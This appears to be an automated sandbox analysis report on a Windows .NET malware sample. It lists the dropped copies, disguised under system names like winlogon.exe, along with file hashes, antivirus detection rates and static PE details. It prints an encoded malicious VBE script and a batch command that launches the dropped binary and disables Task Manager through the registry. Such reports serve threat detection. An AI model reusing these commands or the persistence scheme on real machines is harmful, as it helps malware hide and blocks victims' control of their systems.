Preview:	e9oGjXZOROgMdHWoIDO8iRftvOOe4Rh5yCZEnyWylqz8mUaVMjwWNY9Me5VUJ4UArlYasRAUqZW2bgHax2SUeLsaDMjscCprVzRB6An4jcpxCGu8y4gQlAff27WfrS1nupgmOFexPYuCf5X6bl3igYFVTvI8nHMQlCCWkItsasAMPdA7kZEGYSHVjKSc6fKIMdad2BWT1LHxY2G0vLYNDG2S4rwZzQv5i2AvChEjDvONLU7rEbrvG6EGlIiLO6dkZMOf1VyOGzKS1pHktFVYjAymx4J383UGSnx8FcztncoRwwO6B7bIlEBZYmr7L4PNeD9N2JfRQmvGVg0BpN2BbLfNmXjdu1hsNbwswBD1cK28T4E2vqS7BOvShwlejBgYEC34tHOoJAiRTh3rSrrEjkq9pdKAZiSand3RBKIobnxBpd9A23M1TcyeW3OQ6OOksIoznmqIjDn6wpTLdKHgWaHLoZ4H51rNZMShzKXQMDSQy2rqjCwwHrORAdKOrjNrVagkWwWTx0UTI0WwrNh2F4Fr8BgW9I

C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1260544
Entropy (8bit):	6.962887835235466
Encrypted:	false
SSDEEP:	24576:LAowXwr9vGB7T1Hb9+9h33fH53fZtE+lYQ6lIx4:E2vGd1onZGCP6O
MD5:	960DC58A366579A52C966ACC596733B6
SHA1:	341031AD4B4CC3246E6A7FAB9C946472A1AF9522
SHA-256:	D2CF3C340BF5779FDD541CBAA3CE2BFACD1E8F6340718CC3646EB496E118E675
SHA-512:	94570C7734DE4690DB263C24AAC0EF2B9060201D36C9AAF99CEDCF8C2757B30C27DB8D0BBA06A7698353423A0AF9A8AB9403266263226F76918078B5EC54C1D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6......N ... ...@....@.. ....................................@.................................. ..K.................................................................................... ............... ..H............text...T.... ...................... ..`.sdata.../...@...0..................@....rsrc................6..............@..@.reloc...............:..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Windows Mail\8057c8f30c1a8e

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	89
Entropy (8bit):	5.3141145771995
Encrypted:	false
SSDEEP:	3:kdswHbzamLL3NZPq/0HPoADSEVt:kd9beWL3nI0HPR+EVt
MD5:	2BD7284831CEA0C7DCD251A484CE43C1
SHA1:	37BCC1ABE155D57293AA5ED8FEA05C5BE0638A3D
SHA-256:	15E4FF66C4C5A32186F1D5A5EC90AFEAACE5CC94E1E3B36DC422A42734CE7C70
SHA-512:	B979C9B4F32D6DEBFB93D161EC78CB08E1B14AC0090FB30F753622776D87D25282CD70678F8F34806139148182A5A84C3FA1C85DD3BBFA48841D5A34728318E6
Malicious:	false
Preview:	w2v40cUicM6iByg4YCtINpAK7fXXpu7pO1Jfu3oSSEVjShIk2k1R6a1H2k6UE62rOQTKpAJfYa0JUa1aXxfF3psy9

C:\Program Files (x86)\Windows Mail\qwhJcOiWbbUoQMvwnJNr.exe

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1260544
Entropy (8bit):	6.962887835235466
Encrypted:	false
SSDEEP:	24576:LAowXwr9vGB7T1Hb9+9h33fH53fZtE+lYQ6lIx4:E2vGd1onZGCP6O
MD5:	960DC58A366579A52C966ACC596733B6
SHA1:	341031AD4B4CC3246E6A7FAB9C946472A1AF9522
SHA-256:	D2CF3C340BF5779FDD541CBAA3CE2BFACD1E8F6340718CC3646EB496E118E675
SHA-512:	94570C7734DE4690DB263C24AAC0EF2B9060201D36C9AAF99CEDCF8C2757B30C27DB8D0BBA06A7698353423A0AF9A8AB9403266263226F76918078B5EC54C1D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6......N ... ...@....@.. ....................................@.................................. ..K.................................................................................... ............... ..H............text...T.... ...................... ..`.sdata.../...@...0..................@....rsrc................6..............@..@.reloc...............:..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Windows Media Player\en-US\backgroundTaskHost.exe

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1260544
Entropy (8bit):	6.962887835235466
Encrypted:	false
SSDEEP:	24576:LAowXwr9vGB7T1Hb9+9h33fH53fZtE+lYQ6lIx4:E2vGd1onZGCP6O
MD5:	960DC58A366579A52C966ACC596733B6
SHA1:	341031AD4B4CC3246E6A7FAB9C946472A1AF9522
SHA-256:	D2CF3C340BF5779FDD541CBAA3CE2BFACD1E8F6340718CC3646EB496E118E675
SHA-512:	94570C7734DE4690DB263C24AAC0EF2B9060201D36C9AAF99CEDCF8C2757B30C27DB8D0BBA06A7698353423A0AF9A8AB9403266263226F76918078B5EC54C1D2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6......N ... ...@....@.. ....................................@.................................. ..K.................................................................................... ............... ..H............text...T.... ...................... ..`.sdata.../...@...0..................@....rsrc................6..............@..@.reloc...............:..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Windows Media Player\en-US\eddb19405b7ce1

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	ASCII text, with very long lines (606), with no line terminators
Category:	dropped
Size (bytes):	606
Entropy (8bit):	5.876836736672927
Encrypted:	false
SSDEEP:	12:JRdQ2tsXqWgv0VCtC7CsiAypO30r5FwPf9gBqvPq0FK10LqOyN1u9:TdQIxWg5tCa8ktFw9XPM6LpSY9
MD5:	76733DAB10E600F5A963603B6325A241
SHA1:	CDADBC9F27C85F61C7A85F3126EC704F9625A062
SHA-256:	792BFFE63AC29CDA756D5932CF8D0A42E9B00F3F8691F95DBC143D391D4825B4
SHA-512:	1442B6F3EF687D0C7D371766D74C5EEDA7347540AB9D369259DE28EDFF808218A789BBFD2EB46DA78FB69841D942634C13AA214C8E8AD641E4944CBBF4A2EC3E
Malicious:	false
Preview:	kQ65u2HPCU403haw3LiERibDQq5CpEsJUGWQgPV9CpWkv2hj0ghhl7UCz2oE7Ej8mufxLKPnzjClL1RXIWMJgKiWvUbolQC7FX7BWuXpQ4rC4s08kR5k2abbMJB1tlCjgFfx3QBY9g2mcgbCdcEUVbEp6fyNsf5p1IfzMCETPglVhy9qr8XQgsOEA01XbxqdlNvTAmzbYvEy0tHIgIguIpII4azWKr1b0HuUDppFI62voZOQst0TR5V5EmZkxdQq3m7s9wE1dalLwXefMinb0iK4wyQaQESopL1BbfR6o9z0TJJqH4YOzz0VcC6KgolYI6gkfcDrQrx1sTlnpjSVqDz0VgjYiHZAYasWniLo0r8IC8mJbTe6VPsFHqP83pIIRxdSlO9HYof8EqyW4a6PmcoIrmO7SMvLjz0OfUiNTXirutAb12Ecs2gyIUk89CyL2TZP0j1j2t6O47Y8mxFaISdqTBGLtjOQjXyaTvkSBek96R4L5mWL7YCj0t6ycpzSfppgI8o0MwZnsdtBG5PHNCTLVOjkywzVoReQlYC68f8K8Y1XA4rhZsFcWeL3ZDCa6D9a9cZs2TJrDIM6XMk4ES56MB4HNJ

C:\Program Files (x86)\Windows Portable Devices\cc11b995f2a76d

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	ASCII text, with very long lines (471), with no line terminators
Category:	dropped
Size (bytes):	471
Entropy (8bit):	5.858848168349901
Encrypted:	false
SSDEEP:	12:coEuzTLCeVo57dQAMv/CrYQv/OOVw6Vo1GWOqK8foh:coBzF6OpirYQnOO6Tgn9h
MD5:	D2042EDE3DD2186A76FEBFE7B941D74B
SHA1:	5D74AB421A4925A19F8973EE64A8869EC08CD7B5
SHA-256:	0DFF5BF9EBE74F4FC30AC85A68616728C78C899F83A374B62B599A8CAD300AE6
SHA-512:	E9D24F90FAB80E6F820AF36DC6AC25A6B952BB35F93ADEE8F6256736A5421C62F2394E2BF4E4AE85EAA11EEC36D8569275037AAB77E1C418C3C675DEB6A46CE2
Malicious:	false
Preview:	MdNIlwjtb7ItlAuaRkpZetolwO6GptcLQn9EcNL8hjCueV5VdTCHN48czmVX0cEre7d8Bp8DYq14q3HaSknVqU7VogP01yIFfVPh27TxV8tgDEv5f4EPysBJ9HTfaHLjhvYVokiUR09rlbSjvUV7u3RwTGhvoyXOwK8RqZR5Wu87sTiizutFwOzoelCiCxqccv5acB3VDakA5TDAh963ERbhVUwEXt2jDfe7YHGx0YCVoytKiBAD0wXLTXFHOy8ThA6ZyGmZ3ICqOG3gkmgVszsQITnBC8jCZsyo2TVbZkJstr6NdihmSmlrRpRfdkX5iAQgRPoRQE5IpAhbXZhdb7twHGWMC07yMOJsaa6O4PVNrcBRI0HED3dlReYK2bPZGG5b0yA7dSjLlfFoEFELt3vTuhb6BvWdA6GkhkaTzKkvUSAvYtGxXDqNVmqSWE5r6GKpYfHdouWjSA8chphSpiF

C:\Program Files (x86)\Windows Portable Devices\winlogon.exe

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1260544
Entropy (8bit):	6.962887835235466
Encrypted:	false
SSDEEP:	24576:LAowXwr9vGB7T1Hb9+9h33fH53fZtE+lYQ6lIx4:E2vGd1onZGCP6O
MD5:	960DC58A366579A52C966ACC596733B6
SHA1:	341031AD4B4CC3246E6A7FAB9C946472A1AF9522
SHA-256:	D2CF3C340BF5779FDD541CBAA3CE2BFACD1E8F6340718CC3646EB496E118E675
SHA-512:	94570C7734DE4690DB263C24AAC0EF2B9060201D36C9AAF99CEDCF8C2757B30C27DB8D0BBA06A7698353423A0AF9A8AB9403266263226F76918078B5EC54C1D2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6......N ... ...@....@.. ....................................@.................................. ..K.................................................................................... ............... ..H............text...T.... ...................... ..`.sdata.../...@...0..................@....rsrc................6..............@..@.reloc...............:..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Windows Portable Devices\8057c8f30c1a8e

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	ASCII text, with very long lines (465), with no line terminators
Category:	dropped
Size (bytes):	465
Entropy (8bit):	5.8778726036893385
Encrypted:	false
SSDEEP:	12:GYgXtJq6KQPjZgTHbSEz7zYEg+j18by0kpmKnVU/3R+:GYgdJT5jZgTzMaj18qpnVio
MD5:	D879C4EEBE16752FC794E4BC6C0FD0B1
SHA1:	F3201A6B4288D6266420B55115A570BC5C7FA8C9
SHA-256:	7060278F3584A23F4799055D7394EAE0D2F1252DAF388015B82EACF104873490
SHA-512:	1AD763ACDF1ADD7370F4891AF3B4486507E7C0A5738358E82DFF39C10D67C342D241BD5CC59DD4A09080D7E96124B272D71B0D9731194F10407C213CE5A901ED
Malicious:	false
Preview:	9QX4JJGYgdBUlbUzlVQ9ToSrcg67ak3uLn5zUD1WPllElg9dEgf9hrIU8qcmNJ86kRI8fffid3usCNF6hd23F3Neek0nlOJGnpdTXB7jB7fn7aSvkfFtQE0qEnd4o16OuoFWtwigfT2HYjhESFDFJZziyxOuhC4JAR2TU5By7iO7MtSeGZmix1FVyhh6hy9cYsHHrOtWDPIkK2WFetoHaVVJMgexYFQIjvidmLx1pQeiteK6LbbyK1CCX75Ku68899AZT2dT6wcK1xZrWhm6nc8stfFoQnHsRgjtdvmS8I1XZ2LkhNyMUCUhBSqywzCTpt2UNqOl5T8fkkS0TfGCz4XPLCsKFyfIFisqA1W19MQBEz6aAzeRtAduVmIL7DfHyzZB1m0cJODmnWLWFRKPTOZFE8UXsK45rJMOZ5jX8BHe61G8avGp3PxjZU63Rdt9TI4eJ66KswRRG4JN1

C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1260544
Entropy (8bit):	6.962887835235466
Encrypted:	false
SSDEEP:	24576:LAowXwr9vGB7T1Hb9+9h33fH53fZtE+lYQ6lIx4:E2vGd1onZGCP6O
MD5:	960DC58A366579A52C966ACC596733B6
SHA1:	341031AD4B4CC3246E6A7FAB9C946472A1AF9522
SHA-256:	D2CF3C340BF5779FDD541CBAA3CE2BFACD1E8F6340718CC3646EB496E118E675
SHA-512:	94570C7734DE4690DB263C24AAC0EF2B9060201D36C9AAF99CEDCF8C2757B30C27DB8D0BBA06A7698353423A0AF9A8AB9403266263226F76918078B5EC54C1D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6......N ... ...@....@.. ....................................@.................................. ..K.................................................................................... ............... ..H............text...T.... ...................... ..`.sdata.../...@...0..................@....rsrc................6..............@..@.reloc...............:..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Recovery\38384e6a620884

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	101
Entropy (8bit):	5.3632215073114855
Encrypted:	false
SSDEEP:	3:yqsu7diA0w01N6s2ZT1dSWGr4Oe2e1F:yqs0Z0HcTYT+
MD5:	49720C956735A20B6A1F1DE803EA113C
SHA1:	172C559A6CB30E0A0230887378E0CBFC523A3656
SHA-256:	3AC9554CFF411DDD308379773444B06B8BBF496B1AF01469BAB78253B051BF8F
SHA-512:	0361E472B15844A6D365A341F3083D662CF531D0D03208A20C1F0A5E16D06420C2BF44FCA861455130A9FC34560A7E9B4B1AD0676084B2E23080A0145006A4B4
Malicious:	false
Preview:	8pGfSILy6myez56G8fceKtB5gw4EFdIgH1LCqw98tUQPhcHIS5c0KU4PoK8fNGsddSW7u4aMgevzcvYEpvwKARWx65YgxeummxvOG

C:\Recovery\SearchApp.exe

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1260544
Entropy (8bit):	6.962887835235466
Encrypted:	false
SSDEEP:	24576:LAowXwr9vGB7T1Hb9+9h33fH53fZtE+lYQ6lIx4:E2vGd1onZGCP6O
MD5:	960DC58A366579A52C966ACC596733B6
SHA1:	341031AD4B4CC3246E6A7FAB9C946472A1AF9522
SHA-256:	D2CF3C340BF5779FDD541CBAA3CE2BFACD1E8F6340718CC3646EB496E118E675
SHA-512:	94570C7734DE4690DB263C24AAC0EF2B9060201D36C9AAF99CEDCF8C2757B30C27DB8D0BBA06A7698353423A0AF9A8AB9403266263226F76918078B5EC54C1D2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6......N ... ...@....@.. ....................................@.................................. ..K.................................................................................... ............... ..H............text...T.... ...................... ..`.sdata.../...@...0..................@....rsrc................6..............@..@.reloc...............:..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\blockfont.exe.log

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1830
Entropy (8bit):	5.3661116947161815
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkrJHpHNpaHKlT4x:iq+wmj0qCYqGSI6oPtzHeqKktJtpaqZ8
MD5:	FE86BB9E3E84E6086797C4D5A9C909F2
SHA1:	14605A3EA146BAB4EE536375A445B0214CD40A97
SHA-256:	214AB589DBBBE5EC116663F82378BBD6C50DE3F6DD30AB9CF937B9D08DEBE2C6
SHA-512:	07EB2B39DA16F130525D40A80508F8633A18491633D41E879C3A490391A6535FF538E4392DA03482D4F8935461CA032BA2B4FB022A74C508B69F395FC2A9C048
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\qwhJcOiWbbUoQMvwnJNr.exe.log

Download File

Process:	C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.366581410225247
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNrJE4j:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAM
MD5:	289874BC03B0CB1B73F95A44E23B84A5
SHA1:	F275F15181639F5CF9D17D52B662078C7982BBE1
SHA-256:	0848F9D75F9CB57CB8505936C8D1806D4140BEFE2B169CD022ED97A6094B3F6F
SHA-512:	227F67091FEF053586FA6DE1BA1FC2AD7631694401727C3A9F53ABBA6B46574EE72612827CBE91A39AD55EE5B5FE9286E7B54DD8262D6B35B0FE3ACBE24697B4
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Windows\RemotePackages\RemoteApps\8057c8f30c1a8e

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	ASCII text, with very long lines (690), with no line terminators
Category:	dropped
Size (bytes):	690
Entropy (8bit):	5.90512361354523
Encrypted:	false
SSDEEP:	12:4IoKJvnL9kbEkvGaoR157aCnR3kMo90/z54PGwi89I1Ecvr8qGf:TNBnL4Fwbnif9Sz5TwjfeHGf
MD5:	20037CD7CD49D0CDC61A7C76B4EE5F4B
SHA1:	EC861A5052A0E2D1A42AB41066C853C1B9DF9A7B
SHA-256:	23F20EFC79379B6F9354A76CF79100479A70CC91F39BD5D94646D81C3197B7AA
SHA-512:	68E0A589F24B57BD7EDB71C07686E833E74DB8C49313F514AECB59AA1A4E8A2797D23CD5F7AAC6605CF6389AE3A2C4AE57AD9B0A524CE8C6DCF7B22F1CB09A33
Malicious:	false
Preview:	H4VnNvqhnCYAMZeQNjhxlUZLuUNToqDZdRI93QrWQNl0aO441mYClzExeJ32hX3698h5RfX62KhYsivfZSbBRAynMVetXyy2Up1bq8mWPcKaSqE5YXdP61o8K3t6AnjDWoEDqTyapEwzzXVgQiV9Uj5cA2RxPqVl3GDnlBOEiCj1FzJwhNpbSksxslDyBBL9sK6sTs4PTQaS9EXLteQBA4TTYQ498aDh0kI42bdySaHBJaxoO1EguJ8y0nUDy4R3N2cZ5cSSBbtkwSJ7cPvGWgwqlUEOGaAXJOxQ8YtviwfSaYBieWkiJKhrFvxkYELlbVaie29Dg9hjAdQMTfuuzcO8rGKMkIXek41E8cElWgBJm7qmelR2Tbw9Hb1XrxdYlD8GmMO0bJXSaEWtZis90fLJH26glq4jDnij8k9SWbaKDdiDFH8IEdhG1z8uPsOvPyOxfwvzjanZEBGoT2besvejFbrJmPCnMp5PPvhSWJjo0HC0tUaWRuDdTorEFlMTX9NYG0YiVIIjL0t8Z1aRzqWcmb5kEdNu6QR04nu252BImdRd5spOL5eqnuwo5ye25Xm5i2EvGhW6pNzIJcoVx8jAvkMJ0F7HYJNO1W4Co3HnjhBa4ofdJIE6ylJ7q45BkOif9lRxhmq315bOivOMkd7PEQaPM7Vu8GCU8fbTWr6gcKF2K5

C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe

Download File

Process:	C:\serversessionmonitor\blockfont.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1260544
Entropy (8bit):	6.962887835235466
Encrypted:	false
SSDEEP:	24576:LAowXwr9vGB7T1Hb9+9h33fH53fZtE+lYQ6lIx4:E2vGd1onZGCP6O
MD5:	960DC58A366579A52C966ACC596733B6
SHA1:	341031AD4B4CC3246E6A7FAB9C946472A1AF9522
SHA-256:	D2CF3C340BF5779FDD541CBAA3CE2BFACD1E8F6340718CC3646EB496E118E675
SHA-512:	94570C7734DE4690DB263C24AAC0EF2B9060201D36C9AAF99CEDCF8C2757B30C27DB8D0BBA06A7698353423A0AF9A8AB9403266263226F76918078B5EC54C1D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6......N ... ...@....@.. ....................................@.................................. ..K.................................................................................... ............... ..H............text...T.... ...................... ..`.sdata.../...@...0..................@....rsrc................6..............@..@.reloc...............:..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\serversessionmonitor\1ogacUYksBebmJ8WSR.vbe

Download File

Process:	C:\Users\user\Desktop\5P9EdUgv5r.exe
File Type:	data
Category:	dropped
Size (bytes):	213
Entropy (8bit):	5.78571368925169
Encrypted:	false
SSDEEP:	6:GcgwqK+NkLzWbHa/JUrFnBaORbM5nCcgjO0+ObphWs:GuMCzWLauhBaORbQCjy0+ObH1
MD5:	AA5D2DCB34512F41ECEEF1887AD39F4A
SHA1:	68A4B9F4B74966CCB17C078CA451D83B1647398A
SHA-256:	FE304710B13AF9DED763440E7EE9DD150B044788F723675823BF41AF11707620
SHA-512:	5BDC29D1518140A0A299D0117BD05EFEABAFF4553BADAF9AF916AD0FA104CAF56C9AD9115C90509366BCBB6B66DF567C451A60EC5218770A1CDF8F04F7A8DA70
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^vAAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2vFT!ZT@#@&U+DP.ktU4+^V~',Z.nmY+}8L.mYvE.?1DbwORj4.VsJ*@#@&q/4j4+Vs "EUPr/=zd.D7+Dk+kdkKxhW.kOGMzW72(xAFX+p9S.$? 4COr~~!B~0mVdnsjwAAA==^#~@.

C:\serversessionmonitor\blockfont.exe

Download File

Process:	C:\Users\user\Desktop\5P9EdUgv5r.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1260544
Entropy (8bit):	6.962887835235466
Encrypted:	false
SSDEEP:	24576:LAowXwr9vGB7T1Hb9+9h33fH53fZtE+lYQ6lIx4:E2vGd1onZGCP6O
MD5:	960DC58A366579A52C966ACC596733B6
SHA1:	341031AD4B4CC3246E6A7FAB9C946472A1AF9522
SHA-256:	D2CF3C340BF5779FDD541CBAA3CE2BFACD1E8F6340718CC3646EB496E118E675
SHA-512:	94570C7734DE4690DB263C24AAC0EF2B9060201D36C9AAF99CEDCF8C2757B30C27DB8D0BBA06A7698353423A0AF9A8AB9403266263226F76918078B5EC54C1D2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6......N ... ...@....@.. ....................................@.................................. ..K.................................................................................... ............... ..H............text...T.... ...................... ..`.sdata.../...@...0..................@....rsrc................6..............@..@.reloc...............:..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\serversessionmonitor\ovpXJB1x2XJwVqS.bat

Download File

Process:	C:\Users\user\Desktop\5P9EdUgv5r.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.943167098000957
Encrypted:	false
SSDEEP:	3:I5GHqIcMtOWmdAZFQNBZwXD9so3KRfyM1K7eB/k+7W34hebJNAKyMhF7FKD:I0qi4CMTStuH1jhRiI36BY
MD5:	6693AB77D25499B76854456E925BE0B2
SHA1:	E686AE9DD5CBC8FAA019983B84D2CC83900A79AD
SHA-256:	9582B41CC7E6B437271BF9B296C4DA97FD59AE90E98FB2E0F80CE7C4D8C73334
SHA-512:	81F3AB6668F38DDBD4DD39D22A927F45DF85DED8EDB56B6EF86AC340B7C61A03C0812743CEC6C30E409F1E967662D0C91B13AB58E809AF147571300EDF271D4A
Malicious:	false
Preview:	"C:\serversessionmonitor\blockfont.exe" & reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.978724276038117
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	5P9EdUgv5r.exe
File size:	1'577'715 bytes
MD5:	1f70e167b93d471af9daf333145db4cd
SHA1:	b7c1afc111a98055b28c94f62599ff33f41ced24
SHA256:	9fbc9f10ad8bc902a7a847d76b9792ac9f995555e856824f96fd04b7290b5aed
SHA512:	652ab9c08079711d2d3aa344e78ee3344113e56c62986555215d5669627a773055cc43f851af96ef98940709eecbb355dc12ab24061b3e7452d48580d95c3dad
SSDEEP:	24576:U2G/nvxW3Ww0tdAowXwr9vGB7T1Hb9+9h33fH53fZtE+lYQ6lIx4c:UbA30O2vGd1onZGCP6Oz
TLSH:	74758C027F548A12F1191637D2EF850447B0EC516AAAE71B7EBE376E95123937C0CACB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...*...._......._..'...._f.'...._..'..

File Icon


Icon Hash:	1515d4d4442f2d2d

Static PE Info

General

Entrypoint:	0x41ec40
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x5FC684D7 [Tue Dec 1 18:00:55 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	fcf1390e9ce472c7270447fc5c61a0c1

Entrypoint Preview

Instruction
call 00007F43207EA049h
jmp 00007F43207E9A5Dh
